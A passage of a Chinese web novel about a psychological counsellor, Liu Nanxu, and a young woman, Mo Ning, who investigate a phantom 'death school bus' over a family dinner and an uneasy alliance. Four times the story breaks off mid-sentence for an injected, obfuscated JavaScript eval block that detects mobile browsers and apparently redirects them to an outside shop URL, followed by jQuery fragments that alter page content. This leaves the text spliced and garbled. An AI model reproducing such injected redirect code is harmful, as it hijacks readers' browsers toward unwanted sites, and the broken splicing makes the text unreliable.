听到这话,莫宁总算可以松一口气,高兴地说:“许阿姨,你都想起来了。”
“想起来了,都想起来了。”
许静把水杯递给柳南絮,随后从沙发上站起来,好好看了看莫宁,越看越开心,越看越满意,最后下了定论。
“姑娘都长这么大了,还别说,我家这小子真配不上呢!”
莫宁故意拍拍心口做戏给柳南絮看,对许静道:“许阿姨,您吓死我了,我还以为您把我给忘了,都快不好意思进这扇门了。”
许静跺了一下脚,又开始一连串地解释。
“哎呀!姑娘呀!别说是你不好意思了,我这突然想起来更是觉得羞愧。”
“当年因为你爸工作上的原因,你家搬去了隔壁市,但是就凭你妈妈和我这关系,别说忘,就连凡是逢年过节少登一次门都不应该。”
“就是我这……也不知道为什么,怎么就给忘了呢?”
“没事没事,想起来就好。”莫宁说完,得意洋洋地看了柳南絮一眼。
许静拉着莫宁的手重新坐到沙发上,关切地问:“你现在是在读大学还是已经毕业了?”
柳南絮知道接下来妈妈肯定会拉着莫宁一个劲儿地问东问西,便识趣儿地钻进书房根据仅有的蛛丝马迹琢磨死亡校车的事。
莫宁手被许静拉着,只好乖乖回话:“也不算毕业,只是大三下学期学校让实习,所以我就想着来这边找工作,毕竟还是觉得这边舒服。”
“哎呀!真好,你妈也真是的,大姑娘来了都不和我说一声。”许静说完尚玉珍又埋怨莫宁,“你也是,回来了也不说先来看看我,得亏南絮遇见你了,要不说你俩还真是有缘分,小时候你就天天跟在南絮后面,还一口一个‘哥哥’地喊着。”
莫宁尴尬地笑着说:“没有吧!”
……
柳南絮戴上耳机,把今天发生的事从起床开始全都记录了一遍,然后在流水账上用红笔圈画出关键点。
大雾天气、南巷街、太阳花幼儿园、莫宁、幼儿园专用校车豫MMP443。
“早上还在家属楼到南巷街之间的路段见过死亡校车,十一点十七分又车头朝南拐出了南巷街,说明这辆车经过了南巷街,拐出的方向是西,要么是去太阳花幼儿园,要么就是去西边别的地方,但是在十一点二十九分,就算加上自己往前走,直到看见太阳花幼儿园门前的死亡校车的时间,顶多往后推十分钟,也就是十一点三十九分的时候,死亡校车停在了太阳花幼儿园的校门前,二十二分钟,二十二分钟,汽车……”
推断出大概时间后,柳南絮卡住了。
汽车二十二分钟已经能开出去很远了,如果死亡校车是开去了别的地方,在他到达太阳花幼儿园校门前的几分钟才回来停好的呢?
所以单凭时间推断,没办法保证死亡校车出了南巷街是直奔幼儿园的机率大,还是路过幼儿园去了别的地方的机率大。
那么车头的朝向呢?
柳南絮想了想,险些摔笔,车头是朝马路的,也就是南方,根本不是东西朝向。
如果是东西还好说,西面则是直奔幼儿园的机率大。
哪怕是去了别的地方从自己身后绕回来车头朝向西面的,但当时车流量不多,雾气也消散不少,而且黄色太过扎眼,柳南絮相信自己不可能注意不到。
东面则是去了别的地方拐回来的机率大。
问题是,怎么就冒出来一个朝南的方向?
柳南絮在软皮本子上画了一个简易的地形图,看着四个方位自言自语:“南
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187519|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
边,南,往南这个方向。”
太阳花幼儿园是私立学校,占地面积足够大,校内设有专门的停车场,校车平时都在停车场停靠。
那么,校车会是在什么样的情况下处在校门外,而且车头是朝南方向的呢?
柳南絮在简易地形图上用铅笔画了一个箭头,开口道:“按理来说,校车只有在出发的时候车头才会是朝南的方向,这是要往马路上走。”
可是那个时候校车内血淋淋的,不可能会是往路上开的样子。
倒是后来车内变得只剩下司机和女老师了,才比较像往路上开的样子。
柳南絮翻过一页,写下:当务之急,第一,弄清楚死亡校车的途经路线。第二,车内画面那么凄惨,为什么血迹并不算多?第三,车内的画面为什么突然发生了转变?第四,男司机和女老师的关键伤在哪里?第五,为什么只有莫宁和自己能看到?
这五点是柳南絮暂时能想到的疑点,记完之后合上软皮本子,靠着椅背按压太阳穴,这大半天过得实在有些刺激了,头疼得很。
从窗户透进来的光线不断变换着,看时间,这会儿已经六点多了。
客厅那边两人谈论的话题转变时快时慢,从往事回忆拉扯到当下生活,从家长里短谈论到未来发展。
总之,说话声一直没有消停过。
莫宁平时是个小话痨,无论什么情况都不会甘心把嘴巴闲着,现在遇到许静后,她见识到了什么叫人外有人,天外有天。
两人说话的这阵子大部分都是许静在说,莫宁几次把水杯递给许静,想让她喝口水缓缓都没能成功。
柳南絮再次来到客厅时,一眼就对上莫宁求救的眼神。
不知怎的,柳南絮连想都没想就喊:“妈。”
许静望向他,脸上的笑意一瞬间收起,问:“干什么?”
听着许静嫌弃的音调,柳南絮只当自己日行一善了,说:“我就……饿了?”
“饿就是饿,什么叫饿了?你自己饿不饿都说不清楚?”
许静念叨完柳南絮,从沙发上站起来,再次挂起笑转身对莫宁说:“闺女,今儿在阿姨家吃饭吧!我给你擀手工面吃,我记得你小时候最喜欢吃的。”
莫宁忙站起身说:“许阿姨,不用了,时候不早了,我也该回去了。”
“这闺女怎么一长大反倒见外了,就是因为时候不早了才更要吃了饭再回去,不然回头玉珍知道了怕是要误会我不给你饭吃,坐下看电视,别走啊!听话。”许静唠叨着就往厨房走。
厨房的玻璃门刚被拉上,莫宁就凑近柳南絮低声问:“午饭吃那么晚,你怎么会饿了?”
柳南絮绕过她去倒水喝,回:“还不是你让我帮你。”
话是没错,莫宁再次把人拦下,咬牙切齿但是面带笑意地说:“那你就不能编个别的理由吗?”
柳南絮头本来就还疼着,眼下差点绷不住情绪,低头看着莫宁问:“合着是我的不对了?我就是饿了怎么了?你要是想走没人会硬拦着。”
莫宁也意识到是自己在使小性子,声音软下去,解释道:“不是,我是怕等下吃得太少会伤了许阿姨的心,可我又实在吃不下太多了。”
9. 第九章
“你们说什么?”许静听到细微的动静后把玻璃门拉开,探出脑袋来,“隔得有些远,我没听清。”
莫宁瞬间变成乖巧懂事的模样,说:“没什么,我是说我早想吃许阿姨做的饭了。”
许静更加开心了,连玻璃门都没来得及合上就要往面盆里再添一碗白面。
“妈,”柳南絮出声拦下,在许静期待的眼神中叹了一口气,“午饭我才吃没多久,吃不了太多,少做点,不然浪费。”
许静的心情堪比从云端跌落,把手里面的一碗白面狠狠丢回白面桶里,扬声道:“吃不了太多还说饿了,亏得我怕饿着你。”
柳南絮有苦说不出,端着一杯水又要钻回书房,结果被许静喊下。
“对了,我让你买的东西呢?我现在要用醋。”
“我去买。”柳南絮立刻把水杯搁下,快步夺门而出保命。
莫宁抬脚跟上,小声说:“我也去。”
身后许静的唠叨声直直追来,好在被及时挡在门后。
这个时间点正是做饭的时间,锅碗瓢盆碰撞的声音从家属楼各处传来,饭香更是找着鼻孔钻。
到了家属楼区域内的空地上,莫宁站定,明显是有话想说。
柳南絮等了半天也没见她憋出来,自然而然道:“不客气。”
莫宁下意识回:“我,我可没这个意思……”
“瞧不出来啊!中午在幼儿园校门前那么冷静,说的每句话都满是心眼子,现在这会儿居然连道谢都扭扭捏捏的,我都说了‘不客气’,你还非要和我犟。”
柳南絮觉得莫宁这人还真是有点意思,冲她点点头。
“成,就又算我自作多情了呗!”
莫宁站在原地,心想:猜也知道自己耍的那些小伎俩早被他瞧出来了。
察觉到身后的人没跟上,柳南絮扭头冲着莫宁问:“还走不走了?不走就上楼去,站院里被人瞧见了还以为我欺负你。”
这么一长串的话都说完了,柳南絮才反应过来自己有点反常,话怎么这么多?
莫宁快速整理好心情,想:算了,瞧出来就瞧出来吧!反正目的能达成就行。
随后小跑几步跟上,仿佛什么事都没发生过一样打趣柳南絮,道:“这么担心自己的名声啊!柳老师。”
柳南絮听见莫宁最后说的那三个字的表情,比见到死亡校车时的表情好不到哪儿去,他仿佛被什么刺激到了大脑,皱着眉问:“你喊我什么?”
“柳老师啊!许阿姨和我说你现在是一名心理咨询师,是不能这么喊吗?”
家属楼的空地灯光昏黄,勉强够照明。
柳南絮的表情被灯光一照更加吓人了,莫宁以为自己是触碰到了什么行业禁忌,连忙主动道歉。
“对不起,我就是想开个玩笑,不知道你们这一行还有这规定。”
柳南絮晃晃脑袋,低头用掌心揉太阳穴,尽量克制着说:“不是,没有这条规定,是我自己过激了,抱歉。”
等柳南絮撑着脑袋按压了一会儿,慢慢缓过来后开车带上莫宁奔着商场前进。
马路两旁各类商店的灯光明亮干净,时不时从旁边车道超过去的车辆更是款式多样,街边工作一天,满脸疲惫的行人往家的方向赶着……
这一切,都真真实实存在着,都不是假象。
可死亡校车对他来说也是真真实实的,同样不是假象。
既然不是假象,既然存在,就肯定会有原因。
只是原因现在还没有弄清楚而已。
红绿灯的颜色变成红灯,柳南絮把车停下等待。
长达快一分钟的红灯秒数在眼前蹦跳着,莫宁终于开口关心道:“你刚才怎么了?是想到什么了吗?”
这是关心,同样是询问,更是试探和摸底。
生锈铁盒子里面的那些小物件和照片让许静想起了她,这足以说明不是自己的问题,可柳南絮到现在还是什么都记不起来。只有在自己说出“柳老师”这三个字后,他有了强烈的反应。
但是,为什么呢?
那三个字对他来说是有什么特殊的含义吗?
应该不能吧?莫宁否认掉这个猜测,毕竟柳南絮不可能工作到现在只有自己一个人这样称呼过他。
要么是赶巧了,刚好在自己说出那三个字后柳南絮的头就疼了。
应该也不是,根据柳南絮的追问,说明关键点就是在这三个字上。
莫宁现在能想到的只有一种可能了——问题不在这三个字上,而是出在这样称呼柳南絮的人身上。
可是这和自己有什么关系?自己从来都没有向柳南絮提议他去当老师,心理咨询师更没有过。
听到莫宁的关心,柳南絮只能把正在琢磨着的问题搁置到一边。
柳南絮明白现在的处境,他和莫宁现在是一条船上的蚂蚱,单凭这点,就没办法划清界限,可自己还不知道她到底是个怎么样的人,所以必须留出精力同她周旋。
这也就意味着,眼下不是放松警惕的时候。
从中午到现在的相处,柳南絮并不觉得莫宁有她表现出来的那样热情。
自己刚才多追问了一句,莫宁肯定察觉到了关键点,不然也不会问。
说实话,莫宁喊的那一声“柳老师”,柳南絮只是觉得有点熟悉,那种感觉就像是同一种声音在很遥远很遥远之前就这样称呼过他一样。
虽然世界上没有完全相同的两个人,但是从不缺少相似的人。柳南絮还是认为自己在此之前从来没有见过莫宁,哪怕是街边的擦肩而过。
如果在莫宁的记忆里存在这样称呼自己的时刻,她大概率不会那么慌张,而是极有可能会像在幼儿园校门前那样搬出往事来解释。
应该不是她。
柳南絮下定结论后终于回话:“没怎么,什么都没想到。”
莫宁忍不住失落了一下,只是多年都在伪装阳光向上,她能很好地调整好状态。
红灯跳转成绿灯,柳南絮把大部分注意力放在开车上,因此没看见莫宁眼中一闪而过的疲惫。
路过太阳花幼儿园时,柳南絮偏头往那边留意了一眼。
莫宁没有往那边看,她知道死亡校车不在,所以没必要。
抵达商场后,柳南絮解开安全带刚拉开车门准备下车,被莫宁喊住。
“柳南絮,我还是没你耐得住性子,反正今天中午是我找你搭的话,输了就是输了,我们
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187520|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
合……”
车门还开着,柳南絮坐回去及时把话抢了,问:“合作吗?”
莫宁愣了一下,不知道柳南絮突然来这么一下干什么,是在向自己妥协吗?
在莫宁的印象里,柳南絮这个人眼睛长在头顶,巧言善辩,还总是瞧不起人,尤其是她。
“想这么长时间?不合作就算了。”柳南絮说完又要下车,被莫宁一把拉住。
机不可失,失不再来。
莫宁连连说道:“合作合作合作。”
说完后她到底还是把心里面的疑惑问了出来。
“你为什么会先提?明明我正要说。”
莫宁不信柳南絮没有察觉到自己的意思,按照柳南絮以往的性子,就算问也是会等她把话说完才会问,不可能像刚才那样把话抢走。
难不成是因为性格什么的发生了变化?还是说有什么别的阴谋?
虽然柳南絮知道自己确实很反常,但是天地良心,他说那三个字的时候真没有什么坏心思,只是觉得这小姑娘挺别扭的,想合作直说不就行了,还非要扯那么多,委屈巴巴的,弄得自己好像欺负她了一样。
“我先提还有错了?你这人毛病还挺多。”
自知理亏,莫宁瞬间闭嘴,拉开车门先往商场走去。
之后没什么风波可起,莫宁也没有再主动扯出话题闲聊,柳南絮更是一个字不说。
再回到家时柳洪兵也下班回来了,电视开着不看画面只听声音,手里倒是拿着一份报纸看得正起劲儿。听见开门的动静头也不抬就说:“儿子回来了,马上就可以吃饭了。”
“柳叔叔好!”
柳洪兵听着声音和称呼都不对看了柳南絮一眼,嫌弃地说:“什么柳叔叔,我是你爹,还有,你这声音怎么变成小姑娘的声音了?”
柳南絮走出玄关,指着原本在身后说话的莫宁,道:“刚才是她在说话。”
“哎哟!”柳洪兵要比许静见到莫宁的反应有意思得多。
他把报纸往茶几上一丢,站起身直冲厨房喊,“老婆,咱儿子这么有出息的吗?竟然不吭不哈给咱带回来一儿媳妇,刚我看报纸还说今天什么有意思的事儿都没有,这会儿来这么大一个。”
柳南絮彻底服了,说:“爸,不是,她和我没关系。”
“什么不是?什么没关系?没关系你把人领家里来干什么?你这小子别什么话都当着人姑娘面说,小姑娘面薄,你再说话难听把人伤着了,情商忒低。”
柳洪兵现在就认准了莫宁是柳南絮带回来的女朋友,什么反驳的话都听不进去。
莫宁知道柳洪兵喜欢开玩笑,有时候自己开的玩笑自己还会当真,赶紧解释道:“柳叔叔,我和柳南絮只是朋友,不是什么儿媳妇。”
柳洪兵指了指柳南絮,所有责备的话全在手指头上,指完后笑嘻嘻地对莫宁说:“没事的,脸皮薄挺好的,我儿子脸皮厚,就是情商太低了,也不知道这点遗传了谁,我和你说,这小子从小到大都从没往家里领过姑娘,你可是头一个。”
莫宁心想:这话听着怪熟悉的。
随后便想到,这不是霸总小说中经典片段吗?说不定下面就要说柳南絮不苟言笑之类的。
10. 第十章
正想着,果然,柳洪兵下一句话就是:“难怪这段时间我儿子性格开朗了不少,感情这都是姑娘你的功劳啊!”
莫宁往柳南絮脸上瞅了一眼,柳南絮无奈地说:“实在不好意思,麻烦你和我爸解释解释。”
“听听,听听,”柳洪兵更加来劲儿了,“我家这小子还真没和谁这样说过话,姑娘你知道这叫什么吗?区别对待呀!”
柳南絮实在听不下去,转身往厨房走。
许静正在专心致志地往锅里面放调料,油烟机的声音震天响,厨房的玻璃门被柳南絮拉开的一瞬间,轰得人头晕的声音漏到了外面。
柳洪兵还在絮絮叨叨,尽可能地安抚莫宁。
“姑娘你听我的,他既然愿意把你领回家来,就说明他心里面是有你的,现在就算真的是朋友也没关系,都是暂时的,过不了多久前面就会多一个字,到时候你也别再叫我‘柳叔叔’了,这称呼听着太生分。”
许静刚才没听到外面的动静,现在才擦擦手打招呼:“你们两个回来了。”
柳洪兵被许静的一句话说得顿住了,之后再开口总算放过莫宁,奔着许静那里去。
“你早就知道了?”
虽然之前的话许静都没有听见,但是一眼就知道柳洪兵在想什么,毫不留情把他的美好幻想打破。
“别瞎想了,这姑娘是我好朋友的女儿,咱儿子母胎单身到现在,你要是着急,就抓紧时间找人给他安排相亲。”
柳洪兵挠挠头发,没想起来自己老婆说的好朋友是哪个,追问:“你哪个好朋友?”
“尚玉珍啊!我从小玩到大的,可惜后来搬走了,你忘了?这位是她的女儿,叫莫宁,最近来临平市实习,所以就来看看我。”许静说的很自然,全然没有半点下午初见莫宁想不起来是谁的样子。
柳洪兵还是没想起来,便站在厨房里回想,很快被许静嫌弃地推出来。
“别挡道,出去出去。”
柳洪兵挠着头发出来了,再看莫宁不免有些尴尬,虽然没想起来人是谁,但还是客客气气地说:“真是不好意思啊!我这弄错了。”
莫宁扮演成乖乖女孩儿的样子,要有多听话就有多听话,说:“没事的,柳叔叔,我这不打一声招呼就来了,还空着手,也挺没有礼貌的。”
“哎呀!这孩子,真好,柳叔叔打听一下,”柳洪兵瞥了一眼柳南絮,“你几岁了?有对象没?可不可以考虑考虑我儿子?”
“我还在上学,之后也有往上考的打算,所以……”莫宁没把话说完,只是面露不好意思,摆明了是在回绝柳洪兵。
柳洪兵叹了一口气,直言道:“真是怪可惜的。”
柳南絮进厨房把醋给许静后又要回书房,被柳洪兵喊下,苦口婆心劝道:“儿子,你也老大不小了,虚岁都二十五岁了,重视工作完全没问题,但是也要有私生活啊!你要是再不自觉点,你爸我可要出手了,到时候每天给你安排一场相亲,不去都不行。”
柳南絮敷衍地点点头,又要往书房进,这次被许静制止。
“饭做好了,先吃饭。”
许静今天用了一下午把话说完,现在这会儿轮到柳洪兵,但他说的不是莫宁家里面的事,还是明里暗里想撮合两人。
莫宁之前没遇到过这种情况,就算再能演“别人家的小孩儿”,这会儿脸上的笑意多多少少都有些挂不上。
柳南絮见状,插话道:“爸,你别想了,我俩没戏,不可能,都说是我妈朋友的女儿了。”
柳洪兵急了,立即说:“什么没戏,说什么呢?亲上加亲懂不懂?”
柳南絮瞥了莫宁一眼,见她脸都快埋碗里去了,只好想办法把话题换成别的,问:“爸,你整天看报纸,太阳花幼儿园有发生过什么大事吗?”
柳洪兵吸溜了一口面条,反问:“最近报纸上什么大事都没有,多大的事算大事?”
“就严重到影响社会秩序的那种大事有吗?”说完,柳南絮又及时补充道,“也不一定是最近发生的,从建校开始到现在,有发生过什么吗?”
柳洪兵想都没想就说:“没有,报纸上只登过一篇关于太阳花幼儿园的报道,还是建校开始的时候登的,为了做宣传,一看就是掏钱买的版面。”
莫宁终于不拿碗挡脸了,称赞道:“柳叔叔记得这么清楚啊!”
想想看,现在的科技发展日新月异,新闻大大小小每天那么多起,大家往往看过没多久就淡忘了。
柳洪兵接收新闻的渠道多样,什么日报、时报、晚报、都市报,市面上的报纸他几乎都订阅过。
不单那些,除了报纸,电视上的新闻、手机上的公众号他都看。
每天这么大的信息量往大脑中堆积,怎么会那么清楚地记得有关太阳花幼儿园的新闻事件呢?
粗略估计,太阳花幼儿园从建校到现在,应该都有二十五年了。
柳洪兵的记忆力再好,二十五年前的一个广告版面怎么可能还没忘?
不光是莫宁注意到了这点,柳南絮也注意到了。
柳洪兵“嘿嘿”一笑,不但接下莫宁的夸赞,还顺着往下自夸道:“但凡是你柳叔叔我看过的报纸,就没有会忘记的。”
许静终于听不下去了,在吃饭的时候难得插话,说:“莫宁,别听他吹牛,他就是喜欢凑热闹,别搭理他,你好好吃饭,锅里面还有,吃完再去盛,难得来一趟,必须吃饱了再走。”
柳洪兵什么时候都好说话,除了一件事,就是受不了有人质疑自己对新闻的掌握能力。不过自从柳南絮毕业后又多了一件事,受不了这小子两耳不闻窗外事,日日埋头满心工作。
听见许静的话后,他当即撂下碗筷反驳:“我怎么就吹牛了,太阳花幼儿园是不是就当年建校初期打过那一次广告?”
柳洪兵急,许静也急,毫不示弱地说:“我哪儿像你天天看报纸,那份报纸还是你拿给我看的,我就知道登过那一次报纸,后来有没有登,我又不知道。”
“成,我不和你争。”柳洪兵说完,重新端起碗筷吃饭,夫妻之间的战争就此熄火。
柳南絮又找出一处疑点。
许静之前说过,她是在大学毕业后就到临平市第一高级中学工作的,实习期刚过就查出怀孕,快生的时候才休产假开始在家,月子都没坐完就又赶回学校上班。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187521|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想必那个时候肯定避免不了会很忙,怎么还会抽出时间来看报纸?
柳南絮的印象中,自己的妈妈并没有这个习惯,有时候报纸放在茶几上,她只会顺手叠好放到茶几抽屉里。
就算是柳洪兵拿给她看的,那么,究竟是什么原因让她也能记得二十五年前看过的报纸上面的新闻呢?
柳南絮这个人说话做事都特别谨慎,凡是问问题,肯定会在心里面好好琢磨一番,确定问题不会显得自己白痴和愚蠢才会出口,以至于往往错过把心里面的疑惑讲出来的好时机。
就好比现在。
莫宁早就已经吃饱了,但是饭桌上四个人,三个人都没有起身,她不好放下碗筷,所以只好假装很认真地吃饭,实则在暗中观察柳南絮。
前面称赞柳洪兵的话并非顺口说的,而是觉出了不对劲儿的地方。
太阳花幼儿园建校的时间比她年龄都大,换做是她,别说二十多年前登在报纸上的一则广告了,怕是一个月前看到的广告都记不清楚。
然而接下来许静的话听起来像是也记得的意思,那就太奇怪了,到底是什么样的广告呢?
想到这儿,莫宁对那份报纸产生了浓厚的兴趣。
“许阿姨,您都看了,那则广告设计得那么好吗?”
“倒也不是。”
许静说到这儿,看向柳南絮笑了笑。
“当时南絮刚出生,我和他爸就想着提前帮他物色好幼儿园,免得到了上学的时候着急,可是那段时间我实在太忙了,生完孩子身体也不太好,所以虽然听说附近建了一家新的幼儿园,也一直没能找出时间过去看看,直到他爸看报纸上面登了那所学校的广告,就拿给我看了看。”
莫宁用余光看了看柳南絮的反应,见他低着头面无表情,便继续把话接下去。
“那难怪许阿姨和柳叔叔能记得这么清楚,当父母的真是时时刻刻都会把自己孩子的事放在心里,听完许阿姨的话,我都想我爸妈了。”
“闺女这话真是说到阿姨心坎儿里面了,不光你想你妈,我也想和她见见面,聊聊天,真的是,我不找她,她居然也不来找我。”许静说完,端起莫宁好不容易吃得见底的碗就往厨房进。
柳洪兵吃饱了,站起身把碗筷放到水池里后晃悠到玄关处换鞋下楼。
许静端着莫宁的碗出来,把重新添的半碗饭放到她面前,说:“闺女长得这么好,说话还这么好听,谁见了都喜欢。”
莫宁仰着头说:“是是是,谢谢许阿姨。”
许静也吃饱了,但就是不走,抱着一个空碗乐呵呵地看着莫宁吃饭。
柳南絮头都没抬,挑着碗里面的姜,建议道:“妈,你学学我爸,没事也下楼溜溜弯,饭后走一走,活到九十九。”
“妈刚才白煽情了,我走,我走。”许静无奈地起身,随后又笑呵呵地开门出去找柳洪兵了。
两位长辈一走,柳南絮就端过莫宁的碗,把里面的饭全倒进自己碗里,用一贯冷淡地嗓音说:“吃不下就不要吃了。”
莫宁先是愣了一下,随即便说:“我知道你不是愿意吃亏的人,半碗饭,你想换什么?”
11. 第十一章
柳南絮正在挑姜的手顿住了,抬头去看莫宁,发现她的表情极为认真,没有半点开玩笑的意思。
这让柳南絮感觉自己也吃不下面前的半碗饭了。
“和你相处的这半天,你给我的感觉是相当了解我,这确实可以用来印证你和我妈说的我们两个小时候一起长大。”
“可是现在的情况是,只有我妈想起来你们一家子,我和我爸还是一点印象都没有。”
“现在既然你先问我想换什么,不如你和我说说,在你的认知里,我除了是个不愿意吃亏的人,还是个怎样的人?”
这个问题对于莫宁来说并不算难,但是她并没有立即回答。
柳南絮很少会一次性说这么长的话,也就说明,他不高兴了,甚至说“生气了”也不为过。
迟迟等不来回答,柳南絮再次开口:“怎么了?难道‘我感觉到你是了解我的’这一点,也是你演出来给我看的?在你的记忆中,我们只是玩了一段时间,然后分道扬镳,对我并不了解,是不是?”
莫宁慌了,解释道:“不是,我没有演。”
“你明明不想笑,还非要故作一副积极向上的样子,这不是在演吗?在我爸妈面前的乖乖女形象不是演的吗?你处心积虑接近我,又看似不小心,实际上是在故意放出少量信息试探我,一而再再而三地耍心思和手段,莫宁……”
柳南絮停了两秒看对方的反应,见效果不错继续往下说:“你这样让我忍不住怀疑你同我合作,到底是想要尽快调查清楚死亡校车,还是在我调查死亡校车的时候方便使绊子阻挠我。”
柳南絮说话的声音并不大,字与字、句与句之间声调的起伏也没改变,表情还是那样的平淡,眉头舒展,把话说完后就闭上了嘴,只把视线放在莫宁身上盯着。
莫宁挑出自认为最紧要的问题回答:“我真的是为了想要调查清楚死亡校车到底是怎么回事才找你合作的。”
柳南絮没动,连眨眼的频率都没变,显然并不满意。
莫宁意识到柳南絮是想要自己把他问过的问题全都回答了,心里忍不住开骂:打小就是个狐狸,现在长大了简直就是狐狸成精,发个脾气就想套我那么多话,挺贪啊!
莫宁知道柳南絮不是吃亏的人,巧了,她也从不遵从“吃亏是福”那一套。
小时候柳南絮被人约架那件事,莫宁没有说谎,只是没说她后来怎么报复的。
柳南絮怕血,同样也恶心黏糊糊的东西,但是连续一个星期书包里面都会莫名出现被压扁的虫子。
有时候是毛毛虫,有时候是蚯蚓,有时候是蛐蛐……
这些东西有时候会在铅笔盒里,有时候会在书包夹层里,有时候会在某本课本的某一页里。
耍这些小手段的,都是莫宁。
正因为两个人都是这样的性子,过招肯定是避免不了的。
“我试探你也是有原因的,被一辆不知道是什么鬼的校车吓了五年多的时间,没疯已经不错了。”
“我要是不谨慎行事,碰上个能看见的人就轻易相信,回头哪天被人卖了还帮人数钱都不知道,所以那些小把戏完全是在情理之中。”
“你就大人不记小人过,别和我计较了,再说你不是早就看出来了,合着一直拿我当乐看啊!”
莫宁还是一副话痨的模样,前面解释自己可怜,情非得已也就罢了,最后还硬是找了一处柳南絮的不对。
柳南絮没动,还是那个样子。
莫宁低下头,小声说:“我妈和许阿姨都那么多年没联系了,我现在突然上门,不乖一点难不成还要叉着腰进门?还是说你逢年过节走亲戚是摆着一张臭脸登门拜访的?那不得开朗一些才讨喜。”
听到最后,柳南絮给了一个反应,张开嘴吐出一个字。
“呵。”
莫宁抬起头,见柳南絮快要拽上天的架势,真心觉得他极大可能就是摆着一张臭脸串亲戚的,说不定连去都不会去。
想到这儿,她忍不住又想:难道我这是戳到他的痛处,所以才会“呵”我?
两人僵持了一会儿,柳南絮开口示意莫宁继续往下说。
“继续。”
莫宁不好意思地笑了笑,说:“我就记住了这两个问题,前面还有一个是什么,我忘了。”
柳南絮脸色沉了一下,要是莫宁不是故意的他从此以后倒着走路。
“还剩不止一个,但你要是非要我把问过的问题再问一遍,可能就不止原本那几个了。”
莫宁比了个“暂停”的手势,道:“等等,我想想。”
柳南絮也不急,从上衣口袋里摸出手机看消息。
莫宁装模作样地想了片刻,不甘心地泄掉全身的力气,靠着椅子后背,苦笑了一下。
“我要是萎靡不振,我爸妈也不可能过得舒心,是我自己能看见别人不能看见的画面,他们看不到,没办法明白我每时每刻到底有多么痛苦。”
“他们认为我只是病了,盼着我赶快好起来,为了治好我四处奔波求医,心理医生都不知道看过多少个了。”
柳南絮的手机还在不停往外面弹出消息,是李乐发来的小猫的图片,有吃饭的,有撒娇的,也有撒泼打滚的。
图片发完后,李乐发来两句消息。
“柳老师,我把它照顾得很好,放心。”
“等你明天再见到小猫,我保证它不会和你亲了。”
柳南絮手指在键盘上拼出一个字发过去,还是一贯的风格。
“嗯。”
耳边是莫宁的话,眼里是满屏的小猫图片,柳南絮一出神,有点分不清楚自己发送过去的消息到底是回答李乐的,还是莫宁的。
“柳南絮,你说我其实不想笑,是在装积极向上,”莫宁无奈地叹了一口气,承认道,“我就是不想笑,我就是在装,能看到那些,怎么可能笑得出来?”
柳南絮抬起头想要说话,但莫宁紧接着又往下说:“可我要是不装,我爸妈怎么办?他们只有我这么一个女儿,只盼着我能开心点,这有什么错?”
柳南絮把嘴闭上,不说了。
莫宁见他没了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187522|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说话的打算,再次把说话速度变慢,反问道:“你只是在今天一天看到了,我看到的次数比你多太多了,你有什么资格逼我交代?”
墙壁上的钟表似乎不知疲惫,还在照旧走着。可惜,人是会累的。
柳南絮虽然对莫宁知之甚少,心里面相当清楚,她说这些都是在卖可怜。
“是,我确实没资格。”柳南絮把手机屏幕摁灭,“我为自己的咄咄逼问向你道歉。”
这下轮到莫宁吃惊了,但是她并没有表露出来。
柳南絮心思缜密,不允许自己犯丝毫的错误,同样,也从不会轻易承认自己的错误,自己这一出戏虽然真情实感,但是远不及能让他道歉。
难道,是对我失望,不想合作了?
得出结论后莫宁急了,她并不想解除合作关系,只是想把自己知道的一点一点慢慢告诉柳南絮,要是把他问的那些都交代了,自己手里就没多少有用的信息了。
那种情况一旦出现,合作关系失衡,莫宁会变得没有安全感。
既然眼下这种情况对自己极为不利,只好用“表忠心”那一套了。
就是不知道柳南絮会不会相信,只能先表了再说。
“我有时候也会怀疑自己,眼前的东西到底是只有我自己能看到,还是我真的疯了自己却没有察觉到?我质问自己,我迫切需要一个答案,根本不可能成为你寻找真相路上的绊脚石,我只会成为你的盟友。”
